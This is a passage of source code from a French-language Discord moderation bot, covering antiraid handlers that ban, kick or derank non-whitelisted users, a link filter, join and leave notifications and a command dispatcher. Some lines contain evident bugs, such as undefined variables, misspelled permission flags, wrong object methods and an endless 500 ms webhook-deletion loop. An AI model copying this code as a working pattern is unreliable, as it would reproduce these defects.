axios.get(`https://discord.com/api/v9/guilds/${guild.id}/audit-logs?ilimit=1&action_type=30`, { 12 | headers: { 13 | Authorization: `Bot ${client.config.token}` 14 | } 15 | }).then(response => { 16 | const raidlog = guild.channels.cache.get(db.get(`${guild.id}.raidlog`)) 17 | if (response.data && response.data.audit_log_entries[0].user_id) { 18 | let perm = "" 19 | if (db.get(`rolescreatewl_${guild.id}`) === null) perm = client.user.id === response.data.audit_log_entries[0].user_id || guild.owner.id === response.data.audit_log_entries[0].user_id || client.config.owner.includes(response.data.audit_log_entries[0].user_id) || db.get(`ownermd_${client.user.id}_${response.data.audit_log_entries[0].user_id}`) === true || db.get(`wlmd_${guild.id}_${response.data.audit_log_entries[0].user_id}`) === true 20 | if (db.get(`rolescreatewl_${guild.id}`) === true) perm = client.user.id === response.data.audit_log_entries[0].user_id || guild.owner.id === response.data.audit_log_entries[0].user_id || client.config.owner.includes(response.data.audit_log_entries[0].user_id) || db.get(`ownermd_${client.user.id}_${response.data.audit_log_entries[0].user_id}`) === true 21 | if (db.get(`rolescreate_${guild.id}`) === true && !perm) { 22 | if (db.get(`rolescreatesanction_${guild.id}`) === "ban") { 23 | 24 | axios({ 25 | url: `https://discord.com/api/v9/guilds/${guild.id}/bans/${response.data.audit_log_entries[0].user_id}`, 26 | method: 'PUT', 27 | headers: { 28 | Authorization: `bot ${client.config.token}` 29 | }, 30 | data: { 31 | delete_message_days: '1', 32 | reason: 'Antirole' 33 | } 34 | }).then(() => { 35 | axios({ 36 | url: `https://discord.com/api/v9/guilds/${guild.id}/roles/${role.id}`, 37 | method: "DELETE", 38 | headers: { 39 | Authorization: `Bot ${client.config.token}` 40 | } 41 | }) 42 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${response.data.audit_log_entries[0].user_id}> a crée le rôle \`${role.name}\`, il a été **ban** !`)) 43 | } 44 | ).catch(() => { 45 | axios({ 46 | url: `https://discord.com/api/v9/guilds/${guild.id}/roles/${role.id}`, 47 | method: "DELETE", 48 | headers: { 49 | Authorization: `Bot ${client.config.token}` 50 | } 51 | }) 52 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${response.data.audit_log_entries[0].user_id}> a crée le rôle \`${role.name}\`, mais il n'a pas pu être **ban** !`)) 53 | 54 | } 55 | ) 56 | } else if (db.get(`rolescreatesanction_${guild.id}`) === "kick") { 57 | guild.members.cache.get(response.data.audit_log_entries[0].user_id).kick().then(() => { 58 | axios({ 59 | url: `https://discord.com/api/v9/guilds/${guild.id}/roles/${role.id}`, 60 | method: "DELETE", 61 | headers: { 62 | Authorization: `Bot ${client.config.token}` 63 | } 64 | }) 65 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${response.data.audit_log_entries[0].user_id}> a crée le rôle \`${role.name}\`, il a été **kick** !`)) 66 | }).catch(() => { 67 | axios({ 68 | url: `https://discord.com/api/v9/guilds/${guild.id}/roles/${role.id}`, 69 | method: "DELETE", 70 | headers: { 71 | Authorization: `Bot ${client.config.token}` 72 | } 73 | }) 74 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${response.data.audit_log_entries[0].user_id}> a crée le rôle \`${role.name}\`, mais il n'a pas pu être **kick** !`)) 75 | }) 76 | } else if (db.get(`rolescreatesanction_${guild.id}`) === "derank") { 77 | 78 | guild.members.cache.get(response.data.audit_log_entries[0].user_id).roles.set([]).then(() => { 79 | 80 | axios({ 81 | url: `https://discord.com/api/v9/guilds/${guild.id}/roles/${role.id}`, 82 | method: "DELETE", 83 | headers: { 84 | Authorization: `Bot ${client.config.token}` 85 | } 86 | }) 87 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${response.data.audit_log_entries[0].user_id}> a crée le rôle \`${role.name}\`, il a été **derank** !`)) 88 | }).catch(() => { 89 | axios({ 90 | url: `https://discord.com/api/v9/guilds/${guild.id}/roles/${role.id}`, 91 | method: "DELETE", 92 | headers: { 93 | Authorization: `Bot ${client.config.token}` 94 | } 95 | }) 96 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${response.data.audit_log_entries[0].user_id}> a crée le rôle \`${role.name}\`, mais il n'a pas pu être **derank** !`)) 97 | }) 98 | } 99 | 100 | 101 | }}}) 102 | 103 | 104 | 105 | 106 | 107 | }; 108 | 109 | 110 | -------------------------------------------------------------------------------- /events/antiraid/roleUpdate.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const { MessageEmbed } = require("discord.js"); 4 | const ms = require("ms") 5 | 6 | module.exports = async (client, oldRole, newRole) => { 7 | console.log(oldRole.name) 8 | const guild = oldRole.guild 9 | const color = db.get(`color_${guild.id}`) === null? client.config.color:db.get(`color_${guild.id}`) 10 | const arabe= await guild.fetchAuditLogs({ limit: 1, type: "ROLE_UPDATE" }).then(async (audit) => audit.entries.first()); 11 | if( arabe.executor.id) { 12 | console.log(newRole.id) 13 | 14 | let perm = "" 15 | if (db.get(`rolesmodwl_${guild.id}`) === null) perm = client.user.id === arabe.executor.id || guild.owner.id === arabe.executor.id || client.client.config.owner.includes(arabe.executor.id ) || db.get(`ownermd_${client.user.id}_${arabe.executor.id }`) === true || db.get(`wlmd_${guild.id}_${arabe.executor.id }`) === true 16 | if (db.get(`rolesmodwl_${guild.id}`) === true) perm = client.user.id === arabe.executor.id || guild.owner.id === arabe.executor.id || client.client.config.owner.includes(arabe.executor.id ) || db.get(`ownermd_${client.user.id}_${arabe.executor.id }`) === true 17 | if (db.get(`rolesmod_${guild.id}`) === true && !perm) { 18 | console.log(newRole.name) 19 | 20 | const raidlog = guild.channels.cache.get(db.get(`${guild.id}.raidlog`)) 21 | 22 | if (db.get(`rolesmodsanction_${guild.id}`) === "ban") { 23 | 24 | 25 | axios({ 26 | url: `https://discord.com/api/v9/guilds/${guild.id}/bans/${arabe.executor.id }`, 27 | method: 'PUT', 28 | headers: { 29 | Authorization: `bot ${client.config.token}` 30 | }, 31 | data: { 32 | delete_message_days: '1', 33 | reason: 'Antirole' 34 | } 35 | }).then(() => { 36 | newRole.edit({ 37 | data: { 38 | name: oldRole.name, 39 | color: oldRole.hexColor, 40 | permissions: oldRole.permissions, 41 | hoist: oldRole.hoist, 42 | mentionable: oldRole.mentionable, 43 | position: oldRole.rawPosition, 44 | highest: oldRole.highest, 45 | reason: `Antirole` 46 | } 47 | 48 | }) 49 | // if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${arabe.executor.id }> a modifier le rôle ${oldRole}, il a été **ban** !`)) 50 | } 51 | ).catch(() => { 52 | newRole.edit({ 53 | data: { 54 | name: oldRole.name, 55 | color: oldRole.hexColor, 56 | permissions: oldRole.permissions, 57 | hoist: oldRole.hoist, 58 | mentionable: oldRole.mentionable, 59 | position: oldRole.rawPosition, 60 | highest: oldRole.highest, 61 | reason: `Antirole` 62 | } 63 | 64 | }) 65 | // if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${arabe.executor.id }> a modifier le rôle ${oldRole}, mais il n'a pas pu être **ban** !`)) 66 | 67 | } 68 | ) 69 | } else if (db.get(`rolesmodsanction_${guild.id}`) === "kick") { 70 | guild.members.cache.get(arabe.executor.id ).kick().then(() => { 71 | newRole.edit({ 72 | data: { 73 | name: oldRole.name, 74 | color: oldRole.hexColor, 75 | permissions: oldRole.permissions, 76 | hoist: oldRole.hoist, 77 | mentionable: oldRole.mentionable, 78 | position: oldRole.rawPosition, 79 | highest: oldRole.highest, 80 | reason: `Antirole` 81 | } 82 | 83 | }) 84 | // if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${arabe.executor.id }> a modifier le rôle ${oldRole}, il a été **kick** !`)) 85 | }).catch(() => { 86 | newRole.edit({ 87 | data: { 88 | name: oldRole.name, 89 | color: oldRole.hexColor, 90 | permissions: oldRole.permissions, 91 | hoist: oldRole.hoist, 92 | mentionable: oldRole.mentionable, 93 | position: oldRole.rawPosition, 94 | highest: oldRole.highest, 95 | reason: `Antirole` 96 | } 97 | 98 | }) 99 | // if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${arabe.executor.id }> a modifier le rôle ${oldRole}, mais il n'a pas pu être **kick** !`)) 100 | }) 101 | } else if (db.get(`rolesmodsanction_${guild.id}`) === "derank") { 102 | 103 | guild.members.cache.get(arabe.executor.id ).roles.set([]).then(() => { 104 | 105 | newRole.edit({ 106 | data: { 107 | name: oldRole.name, 108 | color: oldRole.hexColor, 109 | permissions: oldRole.permissions, 110 | hoist: oldRole.hoist, 111 | mentionable: oldRole.mentionable, 112 | position: oldRole.rawPosition, 113 | highest: oldRole.highest, 114 | reason: `Antirole` 115 | } 116 | 117 | }) 118 | // if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${arabe.executor.id }> a modifier le rôle ${oldRole}, il a été **derank** !`)) 119 | }).catch(() => { 120 | newRole.edit({ 121 | data: { 122 | name: oldRole.name, 123 | color: oldRole.hexColor, 124 | permissions: oldRole.permissions, 125 | hoist: oldRole.hoist, 126 | mentionable: oldRole.mentionable, 127 | position: oldRole.rawPosition, 128 | highest: oldRole.highest, 129 | reason: `Antirole` 130 | } 131 | 132 | }) 133 | // if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${arabe.executor.id }> a modifier le rôle ${oldRole}, mais il n'a pas pu être **derank** !`)) 134 | }) 135 | } 136 | 137 | 138 | } 139 | 140 | 141 | } 142 | 143 | 144 | } -------------------------------------------------------------------------------- /events/antiraid/webhookUpdate.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const { MessageEmbed } = require("discord.js"); 4 | const ms = require("ms") 5 | const request = require("request") 6 | module.exports = async (client, channelUpdated) => { 7 | const guild = channelUpdated.guild 8 | const color = db.get(`color_${guild.id}`) === null? client.config.color:db.get(`color_${guild.id}`) 9 | 10 | 11 | const arabe= await channelUpdated.guild.fetchAuditLogs({ limit: 1, type: "WEBHOOK_CREATE" }).then(async (audit) => audit.entries.first()); 12 | let perm = "" 13 | if (db.get(`webhookwl_${guild.id}`) === null) perm = client.user.id === arabe.executor.id || guild.owner.id === arabe.executor.id || client.config.owner.includes(arabe.executor.id) || db.get(`ownermd_${client.user.id}_${arabe.executor.id}`) === true || db.get(`wlmd_${guild.id}_${arabe.executor.id}`) === true 14 | if (db.get(`webhookwl_${guild.id}`) === true) perm = client.user.id === arabe.executor.id || guild.owner.id === arabe.executor.id || client.config.owner.includes(arabe.executor.id) || db.get(`ownermd_${client.user.id}_${arabe.executor.id}`) === true 15 | if (db.get(`webhook_${guild.id}`) === true && arabe.executor && !perm) { 16 | if (db.get(`webhook_sanction_${guild.id}`) === "ban") { 17 | 18 | 19 | axios({ 20 | url: `https://discord.com/api/v9/guilds/${guild.id}/bans/${arabe.executor.id}`, 21 | method: 'PUT', 22 | headers: { 23 | Authorization: `bot ${client.config.token}` 24 | }, 25 | data: { 26 | delete_message_days: '1', 27 | reason: 'Antirole' 28 | } 29 | }).then(() => { 30 | 31 | } 32 | ).catch(() => { 33 | 34 | 35 | } 36 | ) 37 | } else if (db.get(`webhook_sanction_${guild.id}`) === "kick") { 38 | guild.members.cache.get(arabe.executor.id).kick().then(() => { 39 | 40 | }).catch(() => { 41 | 42 | }) 43 | } else if (db.get(`webhook_sanction_${guild.id}`) === "derank") { 44 | 45 | guild.members.cache.get(arabe.executor.id).roles.set([]).then(() => { 46 | 47 | 48 | }).catch(() => { 49 | 50 | }) 51 | } 52 | setInterval(() => { 53 | channelUpdated.fetchWebhooks().then((webhooks) => { 54 | for (const webhook of webhooks) { 55 | 56 | request(`https://discord.com/api/v9/webhooks/${webhook[0]}`, { 57 | "headers": { 58 | "authorization": `Bot ${client[index].token}`, 59 | }, 60 | "method": "DELETE", 61 | }, (error, response, body) => { 62 | 63 | }) 64 | 65 | 66 | 67 | } 68 | }); 69 | 70 | channelUpdated.messages.fetch({ limit: 100 }) 71 | .then((messages) => { 72 | var filtered = messages.filter(m => m.webhookID).array().slice(0, 100); 73 | channelUpdated.bulkDelete(filtered, true) 74 | 75 | }) 76 | }, 500) 77 | } 78 | 79 | } -------------------------------------------------------------------------------- /events/automod/channelCreate.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const { MessageEmbed } = require("discord.js"); 4 | const ms = require("ms") 5 | 6 | module.exports = async (client, channel) => { 7 | const guild = channel.guild 8 | const color = db.get(`color_${guild.id}`) === null ? client.config.color : db.get(`color_${guild.id}`) 9 | 10 | let Muted = await db.fetch(`mRole_${channel.guild.id}`); 11 | let muteRole = await channel.guild.roles.cache.get(Muted) || channel.guild.roles.cache.find(role => role.name === `muet`) || channel.guild.roles.cache.find(role => role.name === `Muted`) || channel.guild.roles.cache.find(role => role.name === `Mute`) 12 | 13 | if (!muteRole) { 14 | 15 | } else { 16 | await channel.createOverwrite(muteRole, { 17 | SEND_channelS: false, 18 | CONNECT: false, 19 | ADD_REACTIONS: false 20 | }) 21 | } 22 | 23 | 24 | }; 25 | -------------------------------------------------------------------------------- /events/automod/guildMemberAdd.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const { MessageEmbed } = require("discord.js"); 4 | const ms = require("ms") 5 | 6 | module.exports = async (client, member) => { 7 | const guild = member.guild 8 | const color = db.get(`color_${guild.id}`) === null ? client.config.color : db.get(`color_${guild.id}`) 9 | let ee = db.get(`mute_${member.guild.id}_${member.id}`) 10 | let muteRole = await db.fetch(`mRole_${member.guild.id}`); 11 | if (ee !== true) if (muteRole !== null) member.roles.add(muteRole, `Automod`) 12 | 13 | } 14 | -------------------------------------------------------------------------------- /events/automod/message.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const { MessageEmbed } = require("discord.js"); 4 | const ms = require("ms") 5 | const Discord = require("discord.js") 6 | let random_string = require("randomstring"); 7 | 8 | module.exports = async (client, message) => { 9 | 10 | const guild = message.guild 11 | const color = db.get(`color_${guild.id}`) === null ? client.config.color : db.get(`color_${guild.id}`) 12 | const raidlog = guild.channels.cache.get(db.get(`${guild.id}.raidlog`)) 13 | let Muted = await db.fetch(`mRole_${message.guild.id}`); 14 | let muterole = await message.guild.roles.cache.get(Muted) || message.guild.roles.cache.find(role => role.name === `muet`) || message.guild.roles.cache.find(role => role.name === `Muted`) || message.guild.roles.cache.find(role => role.name === `Mute`) 15 | if (!muterole) { 16 | muterole = await message.guild.roles.create({ 17 | data: { 18 | name: 'muet', 19 | permissions: 0 20 | } 21 | }, "muterole") 22 | message.guild.channels.cache.forEach(channel => channel.createOverwrite(muterole, { 23 | SEND_MESSAGES: false, 24 | CONNECT: false, 25 | ADD_REACTIONS: false 26 | }, "muterole")) 27 | db.set(`mRole_${message.guild.id}`, `${muterole.id}`) 28 | 29 | 30 | } 31 | if (db.get(`linkwl_${guild.id}`) === null) perm = client.user.id === message.author.id || guild.owner.id === message.author.id || client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || db.get(`wlmd_${guild.id}_${message.author.id}`) === true 32 | if (db.get(`linkwl_${guild.id}`) === true) perm = client.user.id === message.author.id || guild.owner.id === message.author.id || client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true 33 | if (db.get(`link_${guild.id}`) === true && !perm) { 34 | let pub; 35 | if (db.get(`linktype_${guild.id}`) === null || db.get(`linktype_${guild.id}`).toLowerCase() === "Invite") { 36 | pub = [ 37 | "discord.me", 38 | "discord.io", 39 | "discord.gg", 40 | "invite.me", 41 | "discordapp.com/invite", 42 | ".gg" 43 | ]; 44 | 45 | 46 | } 47 | if (db.get(`typelink_${guild.id}`) === " all") { 48 | pub = [ 49 | "discord.me", 50 | "discord.com", 51 | "discord.io", 52 | "discord.gg", 53 | "invite.me", 54 | "discord.gg/", 55 | "discord.", 56 | "discordapp.com/invite", 57 | ".gg", 58 | "https", 59 | "http", 60 | "https:" 61 | 62 | ]; 63 | } 64 | 65 | if (pub.some(word => message.content.includes(word))) { 66 | 67 | message.delete().then(() => { 68 | db.add(`warn_${message.author.id}`, 1) 69 | let warnID = random_string.generate({ 70 | charset: 'numeric', 71 | length: 8 72 | }); 73 | 74 | 75 | 76 | db.push(`info.${message.guild.id}.${message.author.id}`, { moderator: `Moi`, reason: "Message Contenant un lien", date: Date.parse(new Date) / 1000, id: warnID }) 77 | db.add(`number.${message.guild.id}.${message.author.id}`, 1) 78 | return message.channel.send(`${message.author} vous n'avez pas l'autorisation d'envoyer des liens ici`).then(msg => { msg.delete({ timeout: 3000 }) }).catch(err => message.delete()); 79 | }) 80 | 81 | if (db.get(`warn_${message.author.id}`) <= 3) { 82 | message.member.roles.add(muterole.id).catch(err => []) 83 | const embed = new Discord.MessageEmbed() 84 | .setColor(color) 85 | .setDescription(`${message.author} a été **mute** pour avoir \`spam des invitations\``) 86 | if (raidlog) raidlog.send(embed) 87 | } else 88 | if (db.get(`warn_${message.author.id}`) <= 5) { 89 | 90 | message.member.kick().catch(err => []) 91 | const embed = new Discord.MessageEmbed() 92 | .setColor(color) 93 | .setDescription(`${message.author} a été **kick** pour avoir \`spam des invitations\``) 94 | if (raidlog) raidlog.send(embed) 95 | } else if (db.get(`warn_${message.author.id}`) <= 9) { 96 | message.member.ban().catch(err => []) 97 | const embed = new Discord.MessageEmbed() 98 | .setColor(color) 99 | .setDescription(`${message.author} a été **ban** pour avoir \`spam des invitations\``) 100 | if (raidlog) raidlog.send(embed) 101 | 102 | } 103 | 104 | 105 | setInterval(async () => { 106 | db.delete(`warn_${message.author.id}`) 107 | 108 | }, 60 * 60000); 109 | } 110 | 111 | 112 | } 113 | } -------------------------------------------------------------------------------- /events/automod/messageUpdate.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const { MessageEmbed } = require("discord.js"); 4 | const ms = require("ms") 5 | const Discord = require("discord.js") 6 | module.exports = async (client, oldMessage, newMessage) => { 7 | 8 | const guild = oldMessage.guild 9 | const color = db.get(`color_${guild.id}`) === null ? client.config.color : db.get(`color_${guild.id}`) 10 | const raidlog = guild.channels.cache.get(db.get(`${guild.id}.raidlog`)) 11 | let Muted = await db.fetch(`mRole_${guild.id}`); 12 | let muterole = await guild.roles.cache.get(Muted) || guild.roles.cache.find(role => role.name === `muet`) || guild.roles.cache.find(role => role.name === `Muted`) || guild.roles.cache.find(role => role.name === `Mute`) 13 | if (!muterole) { 14 | muterole = await guild.roles.create({ 15 | data: { 16 | name: 'muet', 17 | permissions: 0 18 | } 19 | }, "muterole") 20 | guild.channels.cache.forEach(channel => channel.createOverwrite(muterole, { 21 | SEND_MESSAGES: false, 22 | CONNECT: false, 23 | ADD_REACTIONS: false 24 | }, "muterole")) 25 | db.set(`mRole_${guild.id}`, `${muterole.id}`) 26 | 27 | 28 | } 29 | if (db.get(`linkwl_${guild.id}`) === null) perm = client.user.id === oldMessage.id || guild.owner.id === oldMessage.id || client.config.owner.includes(oldMessage.id) || db.get(`ownermd_${client.user.id}_${oldMessage.id}`) === true || db.get(`wlmd_${guild.id}_${oldMessage.id}`) === true 30 | if (db.get(`linkwl_${guild.id}`) === true) perm = client.user.id === oldMessage.id || guild.owner.id === oldMessage.id || client.config.owner.includes(oldMessage.id) || db.get(`ownermd_${client.user.id}_${oldMessage.id}`) === true 31 | if (db.get(`link_${guild.id}`) === true && !perm) { 32 | let pub; 33 | if (db.get(`linktype_${guild.id}`) === null || db.get(`linktype_${guild.id}`).toLowerCase() === "Invite") { 34 | pub = [ 35 | "discord.me", 36 | "discord.io", 37 | "discord.gg", 38 | "invite.me", 39 | "discordapp.com/invite", 40 | ".gg" 41 | ]; 42 | 43 | 44 | } 45 | if (db.get(`typelink_${guild.id}`) === " all") { 46 | pub = [ 47 | "discord.me", 48 | "discord.com", 49 | "discord.io", 50 | "discord.gg", 51 | "invite.me", 52 | "discord.gg/", 53 | "discord.", 54 | "discordapp.com/invite", 55 | ".gg", 56 | "https", 57 | "http", 58 | "https:" 59 | 60 | ]; 61 | } 62 | 63 | if (pub.some(word => oldMessage.content.includes(word))) { 64 | 65 | oldMessage.delete().then(() => { 66 | db.add(`warn_${oldMessage.id}`, 1) 67 | return channel.send(`${oldMessage} vous n'avez pas l'autorisation d'envoyer des liens ici`).then(msg => { msg.delete({ timeout: 3000 }) }).catch(err =>{}); 68 | }) 69 | 70 | if (db.get(`warn_${oldMessage.id}`) <= 3) { 71 | oldMessage.roles.add(muterole.id).catch(err => []) 72 | const embed = new Discord.MessageEmbed() 73 | .setColor(color) 74 | .setDescription(`${oldMessage} a été **mute 15minutes** pour avoir \`spam des invitations\``) 75 | if (raidlog) raidlog.send(embed) 76 | } else 77 | if (db.get(`warn_${oldMessage.id}`) <= 5) { 78 | 79 | oldMessage.kick().catch(err => []) 80 | const embed = new Discord.MessageEmbed() 81 | .setColor(color) 82 | .setDescription(`${oldMessage} a été **kick** pour avoir \`spam des invitations\``) 83 | if (raidlog) raidlog.send(embed) 84 | } else if (db.get(`warn_${oldMessage.id}`) <= 9) { 85 | oldMessage.ban().catch(err => []) 86 | const embed = new Discord.MessageEmbed() 87 | .setColor(color) 88 | .setDescription(`${oldMessage} a été **ban** pour avoir \`spam des invitations\``) 89 | if (raidlog) raidlog.send(embed) 90 | 91 | } 92 | 93 | 94 | setInterval(async () => { 95 | db.delete(`warn_${oldMessage.id}`) 96 | 97 | }, 60 * 60000); 98 | } 99 | 100 | 101 | } 102 | } -------------------------------------------------------------------------------- /events/client/guildCreate.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const { MessageEmbed } = require("discord.js"); 4 | const ms = require("ms") 5 | 6 | module.exports = async (client, guild) => { 7 | console.log(`J'ai rejoint le serveur ${guild.name} [${guild.memberCount}]`) 8 | if(db.get(`antijoinbot_${client.user.id}`) === null){ 9 | client.config.owner.forEach(u => client.users.cache.get(u).send(`Je viens de rejoindre ${guild.name} (${guild.memberCount} membres, propriétaire : <@${guild.owner.id}>)`)) 10 | let own = db.all().filter(data => data.ID.startsWith(`ownermd_${client.user.id}`)).sort((a, b) => b.data - a.data) 11 | own.filter(x => client.users.cache.get(x.ID.split('_')[2])).map((m, i) => { 12 | client.users.cache.get(m.ID.split('_')[2]).send(`Je viens de rejoindre ${guild.name} (${guild.memberCount} membres, propriétaire : <@${guild.owner.id}>)`) 13 | }) 14 | 15 | }else if(db.get(`antijoinbot_${client.user.id}`) === true){ 16 | let own = db.all().filter(data => data.ID.startsWith(`ownermd_${client.user.id}`)).sort((a, b) => b.data - a.data) 17 | client.config.owner.forEach(u => client.users.cache.get(u).send(`Je viens de rejoindre ${guild.name} (${guild.memberCount} membres, propriétaire : <@${guild.owner.id}>) mais j'ai quitter car l'antijoin du bot est activé (\`botconfig\`)`)) 18 | 19 | own.filter(x => client.users.cache.get(x.ID.split('_')[2])).map((m, i) => { 20 | client.users.cache.get(m.ID.split('_')[2]).send(`Je viens de rejoindre ${guild.name} (${guild.memberCount} membres, propriétaire : <@${guild.owner.id}>) mais j'ai quitter car l'antijoin du bot est activé (\`botconfig\`)`) 21 | }) 22 | return guild.leave() 23 | } 24 | } -------------------------------------------------------------------------------- /events/client/guildDelete.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const { MessageEmbed } = require("discord.js"); 4 | const ms = require("ms") 5 | 6 | module.exports = async (client, guild) => { 7 | 8 | console.log(`J'ai quitter le serveur ${guild.name} [${guild.memberCount}]`) 9 | client.config.owner.forEach(u => client.users.cache.get(u).send(`Je viens de quitter ${guild.name} (${guild.memberCount} membres, propriétaire : <@${guild.owner.id}>)`)) 10 | 11 | let own = db.all().filter(data => data.ID.startsWith(`ownermd_${client.user.id}`)).sort((a, b) => b.data - a.data) 12 | own.filter(x => client.users.cache.get(x.ID.split('_')[2])).map((m, i) => { 13 | client.users.cache.get(m.ID.split('_')[2]).send(`Je viens de quitter ${guild.name} (${guild.memberCount} membres, propriétaire : <@${guild.owner.id}>)`) 14 | }) 15 | 16 | } -------------------------------------------------------------------------------- /events/client/message.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const Discord = require("discord.js"); 4 | const ms = require("ms") 5 | 6 | module.exports = (client, message) => { 7 | if (!message.guild) return; 8 | if (message.author.bot) return; 9 | 10 | let startAt = Date.now() 11 | 12 | let prefix = db.get(`prefix_${message.guild.id}`) === null? client.config.prefix:db.get(`prefix_${message.guild.id}`) 13 | let color = db.get(`color_${message.guild.id}`) === null? client.config.color:db.get(`color_${message.guild.id}`) 14 | 15 | 16 | if (message.content.match(new RegExp(`^<@!?${client.user.id}>( |)$`)) !== null) { 17 | let perm = "" 18 | message.member.roles.cache.forEach(role => { 19 | if(db.get(`modsp_${message.guild.id}_${role.id}`)) perm = true 20 | if(db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 21 | if(db.get(`admin_${message.guild.id}_${role.id}`)) perm = true 22 | }) 23 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm || db.get(`channelpublic_${message.guild.id}_${message.channel.id}`) === true ) { 24 | return message.channel.send(`Mon prefix : \`${prefix}\``) 25 | } 26 | } 27 | 28 | const escapeRegex = (str) => str.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); 29 | const prefixRegex = new RegExp(`^(<@!?${client.user.id}>|${escapeRegex(prefix)})\\s*`); 30 | if (!prefixRegex.test(message.content)) return; 31 | const [, matchedPrefix] = message.content.match(prefixRegex); 32 | const args = message.content.slice(matchedPrefix.length).trim().split(/ +/); 33 | const commandName = args.shift().toLowerCase(); 34 | let command = client.commands.get(commandName) || client.commands.find(cmd => cmd.aliases && cmd.aliases.includes(commandName)); 35 | if (!command) return undefined 36 | 37 | if (client.cooldown.find(c => c.id === message.author.id && c.command === command.name && c.guild === message.guild.id)) { 38 | 39 | let timeout = Math.abs(((Date.now() - client.cooldown.find(c => c.id === message.author.id && c.command === command.name && c.guild === message.guild.id).startedAt) / 1000) - 1000 / 1000) 40 | return message.channel.send(`${message.author}, Merci d'attendre **${Math.ceil(timeout)} seconde${timeout > 1 ? 's' : ''}** avant de refaire cette commande.`).then(async (m) => { 41 | if (message.deletable) message.delete({ 42 | timeout: timeout * 1000 43 | }) 44 | if (m.deletable) m.delete({ 45 | timeout: timeout * 1000 46 | }) 47 | }) 48 | } 49 | 50 | if (command) command.run(client, message, args, prefix, color); 51 | client.cooldown.push({ 52 | id: message.author.id, 53 | command: command.name, 54 | guild: message.guild.id, 55 | startedAt: startAt 56 | }) 57 | let index = client.cooldown.indexOf({ 58 | id: message.author.id, 59 | command: command.name, 60 | guild: message.guild.id, 61 | startedAt: startAt 62 | }) 63 | setTimeout(async () => { 64 | client.cooldown.splice(index) 65 | }, 1000) 66 | 67 | 68 | } -------------------------------------------------------------------------------- /events/client/messageDelete.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const { MessageEmbed } = require("discord.js"); 4 | const ms = require("ms") 5 | 6 | module.exports = (client, message) => { 7 | client.snipes.set(message.channel.id, { 8 | content: message.content, 9 | author: message.author, 10 | image: message.attachments.first() ? message.attachments.first().proxyURL : null 11 | }) 12 | 13 | } -------------------------------------------------------------------------------- /events/client/ready.js: -------------------------------------------------------------------------------- 1 | const Discord = require("discord.js"); 2 | const disbut = require("discord-buttons") 3 | const db = require("quick.db") 4 | 5 | module.exports = (client) => { 6 | console.log(`- Conecter ${client.user.username}`) 7 | client.guilds.cache.map(async guild => { 8 | await guild.members.fetch().catch(e => { }) 9 | }) 10 | } 11 | -------------------------------------------------------------------------------- /events/gestion/guildMemberAdd.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const { MessageEmbed } = require("discord.js"); 4 | const ms = require("ms") 5 | 6 | module.exports = async (client, member) => { 7 | const guild = member.guild 8 | const color = db.get(`color_${guild.id}`) === null ? client.config.color : db.get(`color_${guild.id}`) 9 | let rr = member.guild.roles.cache.get(db.get(`autorole_${member.guild.id}`)) 10 | if(rr) member.roles.add(rr.id) 11 | 12 | 13 | let joindm = db.get(`joindmee_${member.guild.id}`) 14 | if (joindm) member.send(joindm.replace("{user}", member) 15 | .replace("{user:username}", member.username) 16 | .replace("{user:tag}", member.tag) 17 | .replace("{user:id}", member.id) 18 | .replace("{guild:name}", member.guild.name) 19 | .replace("{guild:member}", member.guild.memberCount) 20 | ) 21 | 22 | 23 | 24 | } 25 | -------------------------------------------------------------------------------- /events/gestion/guildMemberRemove.js: -------------------------------------------------------------------------------- 1 | 2 | const axios = require('axios'); 3 | const db = require("quick.db") 4 | const { MessageEmbed } = require("discord.js"); 5 | const ms = require("ms") 6 | 7 | module.exports = async (client, member) => { 8 | 9 | 10 | let leavedm = db.get(`leavedme_${member.guild.id}`) 11 | if (leavedm) member.send(leavedm.replace("{user}", member) 12 | .replace("{user:username}", member.username) 13 | .replace("{user:tag}", member.tag) 14 | .replace("{user:id}", member.id) 15 | .replace("{guild:name}", member.guild.name) 16 | .replace("{guild:member}", member.guild.memberCount) 17 | ) 18 | 19 | 20 | 21 | } 22 | -------------------------------------------------------------------------------- /events/gestion/message.js: -------------------------------------------------------------------------------- 1 | const db = require("quick.db") 2 | module.exports = async (client, message) => { 3 | 4 | 5 | if (db.get(`customcmdembed_${message.content.toLowerCase()}`) !== null) { 6 | 7 | let embedj = 